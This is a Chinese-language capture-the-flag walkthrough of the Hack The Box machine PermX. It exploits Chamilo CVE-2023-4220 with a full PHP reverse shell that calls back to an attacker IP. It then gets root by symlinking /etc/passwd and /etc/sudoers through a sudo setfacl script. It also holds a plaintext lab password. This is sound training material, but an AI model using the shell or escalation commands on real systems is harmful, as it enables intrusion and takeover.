靶机介绍
思路流程
一、信息收集
靶机ip:10.10.11.23
攻击机ip:10.10.16.26
nmap扫描
设置域名解析
curl看看
访问一下,什么也没有
目录扫描
子域名枚举
设置子域名域名解析
sudo sed -i '/10.10.11.23 permx.htb/ s/$/ www.permx.htb/' /etc/hosts
sudo sed -i '/10.10.11.23 permx.htb/ s/$/ lms.permx.htb/' /etc/hosts
对lms子域名目录扫描
二、边界突破
管理员:Davis Miller 版本:Chamilo © 2025
查看子域名下的robots.txt
信息如下
# Directories
Disallow: /app/
Disallow: /bin/
Disallow: /documentation/
Disallow: /home/
Disallow: /main/
Disallow: /plugin/
Disallow: /tests/
Disallow: /vendor/
# Files
Disallow: /license.txt
Disallow: /README.txt
Disallow: /whoisonline.php
Disallow: /whoisonlinesession.php
访问看看
均无信息
在路由:http://lms.permx.htb/documentation/changelog.html下发现版本号
查找发现CVE-2023-4220漏洞,参考文章:https://github.com/Ziad-Sakr/Chamilo-CVE-2023-4220-Exploit
下载脚本到本地
使用方法
chmod +x CVE-2023-4220.sh
./CVE-2023-4220.sh
./CVE-2023-4220.sh -f shell.php -h http://permx.htb -p 4444
http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/
使用的反弹php代码
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.26'; # 修改为反弹的ip
$port = 4444; #监听端口
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print"$stringn";
}
}
?>
访问解析php文件
反弹成功
三、权限提升
法1
查看文件,存在mtz用户
最终在该路径下发现账户密码,**/app/config/configguration.php**
信息如下
user: chamilo
passwd:03F6lY3uXAP2bkW8
登录chamilo失败,利用该密码登录mtz,登录成功,并在该目录拿到user.txt
法2
我们使用linpeas.sh内网信息收集工具,在本机开启web服务,然后下载到靶机
执行
发现具有bash的用户
找到密码同时发现路径,这里就可以直接访问路径了,查看账户
root.txt
sudo -l查看,发现一个脚本
内容如下,该脚本通过setfacl 为指定用户设置文件访问权限
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo"Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then#限制路径在/home/mtz下
/usr/bin/echo"Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo"Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm""$target"
#使用方法:sudo /opt/acl.sh [用户名] [权限] [文件路径]
法1
通过设置具备bash的新用户提权
openssl passwd track
cd /home/mtz
ln -s /etc/passwd passwd
sudo /opt/acl.sh mtz rwx /home/mtz/passwd
echo'track:$1$LLooY8Oj$1CX6yKQuKomxqaIJRMLPQ0:0:0:root:/root:/bin/bash' >> /home/mtz/passwd
su track
执行结果
查看
最后进行登录,密码为track
/root下发现目标,并找到一个sh文件,下面的文件均可以用来提权
法2
流程如下,这里参考了官方wp
ln -s /etc/sudoers root
sudo /opt/acl.sh mtz rw /home/mtz/root
echo"mtz ALL=(ALL:ALL) NOPASSWD: ALL" >> /home/mtz/root
sudo bash
执行结果
结束
原文始发于微信公众号(泷羽Sec-track):【HTB】PermX靶机渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论